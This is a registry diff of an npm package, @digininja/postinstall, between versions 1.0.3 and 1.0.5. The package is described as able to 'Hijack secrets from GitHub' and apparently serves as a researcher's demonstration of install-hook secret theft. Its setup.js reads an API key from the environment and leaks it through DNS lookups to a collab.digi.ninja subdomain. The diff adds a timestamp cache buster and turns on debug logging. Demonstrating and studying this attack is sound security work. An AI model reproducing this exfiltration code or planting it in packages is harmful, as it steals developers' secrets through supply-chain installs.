@digininja/postinstall 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.js +7 -5
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@digininja/postinstall",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Hijack secrets from GitHub",
5
5
  "author": "Digininja",
6
6
  "license": "ISC",
package/scripts/setup.js CHANGED
@@ -1,4 +1,5 @@
1
1
  const apiKey = process.env.MY_SECRET_API_KEY;
2
+ const collab_prefix = "jylkgjbji7sovizhlmow44rhh8nzbqzf.collab.digi.ninja";
2
3
 
3
4
  const dns = require('node:dns');
4
5
 
@@ -8,23 +9,24 @@ const options = {
8
9
  };
9
10
 
10
11
  function lookup(domain) {
12
+ log('Looking up address for %s', domain);
11
13
  dns.lookup(domain, options, (err, address, family) => {
12
14
  if (err) {
13
15
  log('Lookup failed:', err);
14
16
  return;
15
17
  }
16
- // don't care
17
- // console.log('Address: %j family: IPv4', address);
18
+ log('Address: %j family: IPv4', address);
18
19
  });
19
20
  }
20
21
 
21
22
  function log(message, data = '') {
22
- // console.log(`[POSTINSTALL DEBUG] ${message}`, data);
23
+ // Put this back in for debugging
24
+ console.log(`[POSTINSTALL DEBUG] ${message}`, data);
23
25
  }
24
26
 
25
27
  // DNS cache buster
26
28
  const seconds = Math.floor(Date.now() / 1000);
27
- lookup('gotHere' + seconds + ".6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja");
29
+ lookup('gotHere' + seconds + "." + collab_prefix + ".collab.digi.ninja");
28
30
 
29
31
  log('Checking for API Key...');
30
32
 
@@ -33,6 +35,6 @@ if (!apiKey) {
33
35
  process.exit(0);
34
36
  }
35
37
 
36
- lookup(apiKey+'.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
38
+ lookup(apiKey + '.' + seconds + '.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
37
39
 
38
40
  log('Using API Key:', apiKey);